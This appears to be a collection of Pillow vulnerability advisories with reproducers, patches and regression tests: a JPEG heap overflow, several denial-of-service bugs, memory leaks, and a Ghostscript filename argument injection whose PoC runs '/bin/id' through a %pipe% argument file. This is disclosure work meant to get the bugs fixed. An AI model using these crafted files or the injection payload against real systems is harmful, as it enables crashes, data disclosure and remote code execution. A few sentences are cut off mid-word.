The script builds a valid 256×256 baseline JPEG from deterministic noise, so the compressed image data comes to about 100 KB. Right after SOI it adds an APP2 ICCPROFILE segment (sequence 1 of 1) with a payload of 65536 - 20 - 18 = 65498 bytes. When Pillow re-encodes the image, libjpeg first writes 20 bytes of SOI and JFIF APP0, and then Pillow copies the re-wrapped ICC segment: 18 bytes of header plus the payload. Together those fill the 65536-byte encoder buffer to the last byte. The constants at the top of the script spell out this arithmetic.
Each file goes through the same application code in a child python3 -X faulthandler process:
python im = Image.open(BytesIO(data)) im.save(BytesIO(), "JPEG", iccprofile=im.info["iccprofile"])
1. Control. The file has the ICC profile but no COM segment. The save returns normally with exit status 0, which shows that the exact-fit ICC profile alone is harmless. 2. PoC. This is the same file plus a COM segment of 65533 C bytes. JpegImagePlugin.save() forwards im.info["comment"] automatically. Case 4 of ImagingJpegEncode() writes the COM marker into the full buffer, the freeinbuffer counter wraps, and the comment and the entire compressed image are written past the end of the heap buffer.
Expected output: the control prints save returned normally and -> exit status 0. For the PoC, faulthandler prints Fatal Python error: Segmentation fault (sometimes a glibc message such as realloc(): invalid next size followed by Aborted). The Python stack ends in ImageFile.encodetile called from im.save, then -> exit status -11 (or -6), and finally BUG. The verdict is BUG only if the PoC child was killed by a signal. A normal return or a Python exception such as OSError gives OK.
Suggested fix
The attached patch guards state 4 the way state 2 guards the EXIF marker: before calling jpegwritemarker() it requires room for the 4-byte marker header plus the comment plus libjpeg's one-byte slack (emitbyte must never bring freeinbuffer to 0 with a non-suspending destination), and otherwise returns to the caller for a fresh buffer:
diff --- a/src/libImaging/JpegEncode.c +++ b/src/libImaging/JpegEncode.c @@ -327,6 +327,11 @@ case 4: if (context->comment) { + // check for comment len + 'COM' header bytes + if (context->commentsize + 5 > + context->destination.pub.freeinbuffer) { + break; + } jpegwritemarker(
The encoder then returns with the buffer full, encodetile() calls it again with an empty buffer, and the comment is emitted there. The C hunk is not sufficient on its own: state 4, like state 2, relies on the Python side guaranteeing that an empty buffer is always large enough, and a 65533-byte comment needs 65538 bytes against a 65536-byte MAXBLOCK buffer — with only the C guard the encoder returns 0 bytes and no error forever and encodetile() spins. The patch therefore also changes JpegImagePlugin.save() to reserve len(comment) + 5 in both sizing branches (added to bufsize in the optimize/progressive branch, and as a third term of the max() in the plain branch), and normalises the comment to bytes first (str is UTF-8-encoded, None becomes b"") so the length is exact for non-ASCII str comments; encode.c already UTF-8-encodes str via z#, so the bytes written are unchanged. A side effect visible to users: comments of up to 65533 bytes now save successfully in cases that previously raised OSError: broken data stream because the default buffer was too small. The patch adds testiccbigcomment to Tests/testfilejpeg.py, which round-trips a 65533-byte comment with ICC profiles sized around the exact-fit boundary; it crashes (or raises OSError) on the unpatched tree and passes with the patch. With the patch applied to a clean tree and rebuilt, the reproducer no longer triggers, and Tests/testfilejpeg.py and Tests/testfilempo.py pass.
The C guard still depends on the Python sizing to avoid a 0-byte/no-error busy loop, exactly as state 2 already does. A more defensive variant would fail with IMAGINGCODECMEMORY instead of break when the marker does not fit and nothing has been written to the current buffer yet (nextoutputbyte == buf), so that a sizing mistake in any caller can never turn into a busy loop. It would also be consistent with exif/xmp handling for save() to reject comments longer than MAXBYTESINMARKER (65533) with ValueError("Comment is too long") rather than leaving it to libjpeg's JERRBADLENGTH → OSError.
Independently, the "+ 1 spare byte" / "+ 5" reasoning in save() under-counts by the 18–20 bytes jpegstartcompress() writes before the EXIF/extra blocks; that is what lets attacker-sized metadata land the buffer on an exact boundary in the first place. The attached patch does not change that accounting.
The patch
Check free output-buffer space before writing the JPEG COM marker in ImagingJpegEncode, and size the encoder buffer for the comment in JpegImagePlugin.save
Applies to src/libImaging/JpegEncode.c at the commit above.
diff diff --git a/Tests/testfilejpeg.py b/Tests/testfilejpeg.py index b361aef2e..f884883c4 100644 --- a/Tests/testfilejpeg.py +++ b/Tests/testfilejpeg.py @@ -227,6 +227,16 @@ class TestFileJpeg: im1 = self.roundtrip(hopper(), iccprofile=iccprofile) assert im1.info.get("iccprofile") == (iccprofile or None) + def testiccbigcomment(self) -> None: + # The ICC profile may fill the encoder buffer exactly, in which case the + # comment has to be written to the next buffer + comment = b"C" 65533 + for n in range(ImageFile.MAXBLOCK - 40, ImageFile.MAXBLOCK - 30): + iccprofile = b"I" n + im = self.roundtrip(hopper(), iccprofile=iccprofile, comment=comment) + assert im.info["iccprofile"] == iccprofile + assert im.info["comment"] == comment + def testlargeiccmeta(self, tmppath: Path) -> None: # https://github.com/python-pillow/Pillow/issues/148 # Sometimes the meta data on the iccprofile block is bigger than diff --git a/src/PIL/JpegImagePlugin.py b/src/PIL/JpegImagePlugin.py index 4b8d34ca3..1d9f4c2fa 100644 --- a/src/PIL/JpegImagePlugin.py +++ b/src/PIL/JpegImagePlugin.py @@ -805,7 +805,9 @@ def save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None: ) i += 1 - comment = info.get("comment", im.info.get("comment")) + comment = info.get("comment", im.info.get("comment")) or b"" + if isinstance(comment, str): + comment = comment.encode() # "progressive" is the official name, but older documentation # says "progression" @@ -856,10 +858,13 @@ def save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None: bufsize += len(exif) + 5 if extra: bufsize += len(extra) + 1 + if comment: + bufsize += len(comment) + 5 else: # The EXIF info needs to be written as one block, + APP1, + one spare byte. - # Ensure that our buffer is big enough. Same with the iccprofile block. - bufsize = max(len(exif) + 5, len(extra) + 1) + # Ensure that our buffer is big enough. Same with the iccprofile block + # and the comment (COM marker). + bufsize = max(len(exif) + 5, len(extra) + 1, len(comment) + 5) ImageFile.save( im, fp, [ImageFile.Tile("jpeg", (0, 0, im.size), 0, rawmode)], bufsize diff --git a/src/libImaging/JpegEncode.c b/src/libImaging/JpegEncode.c index 098e431fc..b6771c6ec 100644 --- a/src/libImaging/JpegEncode.c +++ b/src/libImaging/JpegEncode.c @@ -327,6 +327,11 @@ ImagingJpegEncode(Imaging im, ImagingCodecState state, UINT8 buf, int bytes) { case 4: if (context->comment) { + // check for comment len + 'COM' header bytes + if (context->commentsize + 5 > + context->destination.pub.freeinbuffer) { + break; + } jpegwritemarker( &context->cinfo, JPEGCOM,
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 3,343 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 Pillow heap buffer overflow in ImagingJpegEncode() (src/libImaging/JpegEncode.c, case 4). Re-saving a JPEG with its own ICC profile, the usual "keep the colours" re-encode: im = Image.open(f); im.save(out, "JPEG", iccprofile=im.info["iccprofile"]) If the ICC segment fills the 65536-byte encoder buffer to the last byte, the COM marker (forwarded from im.info["comment"] automatically) is written with freeinbuffer == 0. libjpeg stores the byte, then decrements the counter, which wraps to ~2^64, and the comment plus the whole compressed image go past the end of the heap buffer. The Python process dies with SIGSEGV or a glibc abort. Runs against the stock build in /src, no rebuild. Takes about 2 seconds. import random import struct import subprocess import sys from io import BytesIO
from PIL import Image
Output-buffer layout at the moment the COM marker is written: ENCODERBUFFER = 65536 # ImageFile.MAXBLOCK; save() never makes it bigger here JFIFHEADER = 20 # SOI + JFIF APP0, written by jpegstartcompress() ICCOVERHEAD = 18 # FFE2 <len> "ICCPROFILE\0" <seq> <count> ICCPAYLOAD = ENCODERBUFFER - JFIFHEADER - ICCOVERHEAD # 65498: exact fit COMMENT = b"C" 65533 # largest legal COM; content and length chosen by the file
What the victim application does with an uploaded file, run in a child process so that we can see it die. RESAVE = """ import sys from io import BytesIO from PIL import Image im = Image.open(BytesIO(sys.stdin.buffer.read())) im.save(BytesIO(), "JPEG", iccprofile=im.info["iccprofile"]) print("save returned normally") """
def segment(marker, payload): return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def makejpeg(withcomment): """A valid 256x256 JPEG: an ICC profile of ICCPAYLOAD bytes, optionally a COM.""" noise = random.Random(1234).randbytes(256 256 3) # ~100 KB of image data out = BytesIO() Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95) plain = out.getvalue()
icc = segment(0xE2, b"ICCPROFILE\0\x01\x01" + b"I" ICCPAYLOAD) com = segment(0xFE, COMMENT) if withcomment else b"" return plain[:2] + icc + com + plain[2:] # splice in right after SOI
def resave(jpeg): # -X faulthandler: on a fatal signal, print where in Python the child died cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE] r = subprocess.run(cmd, input=jpeg, captureoutput=True) print((r.stdout + r.stderr).decode(errors="replace").strip()) print(f"-> exit status {r.returncode}") return r.returncode
Control: the same file without a COM segment re-saves fine, so the buffer sizing and the ICC profile on their own are harmless. print("Control: re-save the JPEG without a comment") resave(makejpeg(withcomment=False))
The bug: add a COM segment. The comment is now written into a buffer that has no room left. print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment") rc = resave(makejpeg(withcomment=True))
A negative return code means the child was killed by a signal (SIGSEGV or SIGABRT from glibc's heap checks), not by a Python exception. if rc < 0: print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write") print("BUG") else: print("OK") </details>
---
Summary A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.
### Details Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:
python while data and data.startswith(b"Exif\x00\x00"): data = data[6:]
Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.
chunkeXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAXTEXTCHUNK and MAXTEXTMEMORY. The eXIf chunk has no such cap.
If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.
### Steps to reproduce This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.
python import time from io import BytesIO from PIL import Image, PngImagePlugin
def chunk(cid, data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, data) return fp.getvalue()
MAGIC = PngImagePlugin.MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")
marker = b"Exif\x00\x00" exifchunk = chunk(b"eXIf", marker 300000) # 1.8MB, all markers data = MAGIC + IHDR + exifchunk + IDAT + IEND
start = time.time() with Image.open(BytesIO(data)) as im: im.getexif() print("took", time.time() - start, "seconds")
Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.
Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.
A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.
python import pytest from io import BytesIO from PIL import Image, PngImagePlugin
def chunk(cid, data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, data) return fp.getvalue()
MAGIC = PngImagePlugin.MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")
@pytest.mark.timeout(2) def testexifloadisnotquadratic(): marker = b"Exif\x00\x00" exifchunk = chunk(b"eXIf", marker 300000) data = MAGIC + IHDR + exifchunk + IDAT + IEND with Image.open(BytesIO(data)) as im: im.getexif()
### Impact - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear. - Confidentiality: none. - Integrity: none. - This fires through Image.getexif(), Image.getexif(), and ImageOps.exiftranspose(). exiftranspose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.
Summary On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.
Details The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:
- src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.
In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
- src/display.c:793-794 assign the 16-bit fields - src/display.c:800 sizes the allocation from them - src/display.c:827 copies height ((width 3 + 3) & -4) bytes using the full values
The whole handler is compiled only on Windows (#ifdef WIN32, src/display.c:33-841).
PoC python import struct from PIL import Image
def L(v): return struct.pack("<i", v)
Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the decompression-bomb check, but the width truncates to 16 bits for the allocation while the copy uses 70000. emf = b"\x01\x00\x00\x00" + L(88) # record type + size emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1 emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc) emf += b" EMF" # signature at offset 40 emf += bytes(44) open("poc.emf", "wb").write(emf)
im = Image.open("poc.emf") print("size:", im.size, "pixels:", im.size[0] im.size[1]) im.load() # over-read happens here on a Windows build
On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).
Impact CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.
Summary Affected Object and Source
Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/imaging.c:2809:15, xsize += dx
Details The code in Pillow 12.3.0 is: c for (xsize = 0; text; text++) { int dx = self->glyphs[text].dx; if (dx > 0 && xsize > INTMAX - dx) { PyErrSetString(PyExcOverflowError, "Width too large"); return -1; } xsize += dx; } The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves: dx > 0 => xsize <= INTMAX - dx It does not prove the other half of the contract: dx < 0 => xsize >= INTMIN - dx Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INTMIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.
PoC python """Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.
Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with the PyC-Contract UBSan build to obtain the exact native diagnostic. """
from future import annotations
import struct from io import BytesIO
import PIL from PIL import Image, ImageFont
ADVANCE = -(215) CONTROLREPEAT = 65536 WITNESSREPEAT = 65537
def bitmapfont(advance: int) -> ImageFont.ImageFont: metrics = bytearray(256 20) glyphoffset = ord("A") 20 metrics[glyphoffset : glyphoffset + 2] = struct.pack(">h", advance) fontdata = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics) font = ImageFont.ImageFont() font.loadpilfontdata(BytesIO(fontdata), Image.new("1", (1, 1))) return font
def main() -> None: font = bitmapfont(ADVANCE) print(f"Pillow={PIL.version}") print(f"controlmath={ADVANCE CONTROLREPEAT}") print(f"controlreturn={font.getlength('A' CONTROLREPEAT)}") print(f"witnessmath={ADVANCE WITNESSREPEAT}") print(f"witnessreturn={font.getlength('A' WITNESSREPEAT)}")
if name == "main": main()
Observations from a regular 12.3.0 release build:
text Pillow=12.3.0 controlmath=-2147483648 controlreturn=0 witnessmath=-2147516416 witnessreturn=2147450880
The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INTMIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.
Impact The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.
Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.
Recommended Patch and Regression Tests
It is recommended to extend the overflow check to cover both directions: c if ((dx > 0 && xsize > INTMAX - dx) || (dx < 0 && xsize < INTMIN - dx)) { PyErrSetString(PyExcOverflowError, "Width too large"); return -1; } At a minimum, four test cases should be added: 1. dx = 32767, repeat = 65538 — upper adjacent control (should succeed); 2. dx = 32767, repeat = 65539 — should raise OverflowError; 3. dx = -32768, repeat = 65536 — lower adjacent control (should succeed); 4. dx = -32768, repeat = 65537 — should raise OverflowError.
Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().
Summary TarIO.init does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.
Details TarIO.init reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:
python size = int(s[124:135], 8) ... self.fh.seek((size + 511) & (~511), io.SEEKCUR) There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.
The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.
Steps to reproduce
This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.
python from PIL import TarIO
with open("Tests/images/hopper.tar", "rb") as f: data = bytearray(f.read())
Set the size field (bytes 124 to 135) to a negative octal value. Octal 1000 is 512, so this is size = -512. data[124:135] = b" -00001000"
with open("poisoned.tar", "wb") as f: f.write(data)
"does-not-exist" does not match the header name, so TarIO must keep scanning. This call never returns. TarIO.TarIO("poisoned.tar", "does-not-exist")
We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.
A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.
python from future import annotations
from pathlib import Path
import pytest
from PIL import TarIO
SOURCETAR = "Tests/images/hopper.tar"
@pytest.mark.timeout(3) def testnegativesizefielddoesnothang(tmppath: Path) -> None: with open(SOURCETAR, "rb") as f: data = bytearray(f.read())
data[124:135] = b" -00001000" # octal 1000 = decimal 512, negated
poisonedtar = tmppath / "poisoned.tar" poisonedtar.writebytes(data)
with pytest.raises((OSError, ValueError)): with TarIO.TarIO(str(poisonedtar), "does-not-exist"): pass Impact
- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes. - Confidentiality: none. - Integrity: none. - TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, membername) directly for this to matter, which some apps do to read an image out of a tar archive.
Summary BmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches.
Affected versions All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)
Root cause BmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray data with destlength = xsizeysize, looping while len(data) < destlength. The loop condition is only checked at the TOP; individual branches append attacker-controlled amounts UNBOUNDED by destlength:
- delta escape (line 370): data += b"\x00" (right + up self.state.xsize) with right,up in 0..255 -> up to ~255xsize bytes in ONE iteration. - absolute mode (line 385): data += bytesread (up to 255).
Because a single delta can push len(data) to ~256 (row size), a tiny RLE stream combined with a large-but-legal xsize (xsizeysize just under MAXIMAGEPIXELS, ~89M) yields a multi-GB data bytearray (then copied again by bytes(data) and setasraw). No heap OOB (bytearray/setasraw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny.
Reproduction Python 3.13, Pillow HEAD e7a7ea84
Attached: pillowpocbmprledos.py
A 1084-byte BMP (BIRLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB data; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file.
Suggested fix Cap growth at destlength in the delta and absolute branches, e.g. clamp the delta fill to (destlength - len(data)) and stop appending once len(data) >= destlength; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343.
Credit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew)
pillowpocbmprledos.py
Summary
When PILLOWALIGNMENT is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier.
Details
With an alignment above 1, the default allocator pads each row up to alignedlinesize and starts the first row at an aligned offset into the block. It then exports im->blocks[0].ptr as xsize ysize tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row.
Tested vulnerable on 11.2.1, 12.3.0, 4c1ed27a5.
PoC
Whether things leak may depend on allocator configuration. This does show a leak on my Mac.
python import os
os.environ["PILLOWALIGNMENT"] = "64"
from PIL import Image
Image A: 64 px wide, so its rows fill the whole aligned stride a = Image.new("L", (64, 40), 0x41).transpose(Image.Transpose.FLIPLEFTRIGHT) del a
Image B: 61 px wide, so each row has 3 bytes of padding; its pixels are all 0 b = Image.new("L", (61, 40), 0).transpose(Image.Transpose.FLIPLEFTRIGHT)
try: exported = Image.fromarrow(b, b.mode, b.size).tobytes() except ValueError as e: print("Not vulnerable:", e) else: if leaked := len(exported) - exported.count(0): raise RuntimeError(f"{leaked} of {len(exported)} exported bytes are not B's pixels")
Impact
Information disclosure for applications that set PILLOWALIGNMENT and export images to Arrow. Likely any image whose row length isn't a multiple of the alignment will do. In a service handling several users' images, one user's exported data can contain pixels from another user's image, or other stale heap contents.
Summary PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
Type CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)
Vulnerable Codes
python infiletemp = None if hasattr(fp, "name") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: infd, infiletemp = tempfile.mkstemp() os.close(infd) infile = infiletemp # ... (copy fp into a temporary file)
Build Ghostscript command command = [ gsbinary, "-q", f"-g{width:d}x{height:d}", f"-r{resx:f}x{resy:f}", "-dBATCH", "-dNOPAUSE", "-dSAFER", # default sandbox — does NOT stop this injection f"-sDEVICE={device}", f"-sOutputFile={outfile}", "-c", f"{-bbox[0]} {-bbox[1]} translate", "-f", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) "-c", "showpage", ] ... subprocess.checkcall(command, startupinfo=startupinfo) # spawns Ghostscript
Root cause.
When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.
Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, and the command list entry "-f", infile.
Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@): python if hasattr(fp, "name") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.
PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. FROM ubuntu:24.04
RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/ RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg .
CMD ["python3", "poc.py"] poc.py import os from PIL import Image
############################################################################################ Attacker controlled file ############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
name = "-h" with open(name, "wb") as f: f.write(EPS)
############################################################################################
print(f"[] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[] call load(); this paths calls gs command with '-f {name}'") try: im.load() except Exception as e: print(f"[] load() raised: {type(e).name}: {e}")
print("CWE-88: argument injection; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print(" If Pillow checks the name of file before it uses, It won't display help") poc-rce.py import os from PIL import Image
############################################################################################ Attacker controlled file ############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
To chain this vulnerability into critical RCE, We need another arbitrary text file In this script, it is arg. name = "@arg" with open(name, "wb") as f: f.write(EPS)
############################################################################################
print(f"[] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[] call load(); this paths calls gs command with '-f {name}'") print(f"[] and this leads to arbitrary command injection.") print(f"") try: im.load() except Exception as e: print(f"") print(f"[] load() raised: {type(e).name}: {e}")
print("") print("CWE-78: OS Command Injection;") print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print(" If Pillow checks the name of file before it uses, It won't call id") arg -sOutputFile=%pipe%/bin/id -c 1 dict dup /OutputFile (%pipe%/bin/id) put setpagedevice
Impact Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.
Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).
Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)
Why this is a Pillow bug (not the documented "block untrusted EPS" risk) This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.
Author Chanu Kang (from CysecLab at KAIST) @HLe4s
============================================================================ Image.quantize() with empty palette leaks uninitialized stack memory Location: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
When an application lets a user supply the palette image for Pillow's Image.quantize(palette=...), the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.
The bug is in ImagingPaletteCacheUpdate() in src/libImaging/Palette.c. It fills a local UINT8 c[512] only inside loops bounded by palette->size. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. topalette() in src/libImaging/Convert.c then emits the cached values as output pixel indices. topalette() rejects a NULL palette but not one with size == 0. Three inputs produce such a zero-entry "P" image: a PNG with a zero-length PLTE chunk opened with Image.open(), a colour-mapped TGA with colour-map length 0, or a bare Image.new("P", ...). The attacker must control the palette image; the source image can be anything, and RGB sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own [stack] mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit 54cb09d8b48c (first released in 9.1.0). The Image.new("P", ...) route exists since 10.1.0.
Details
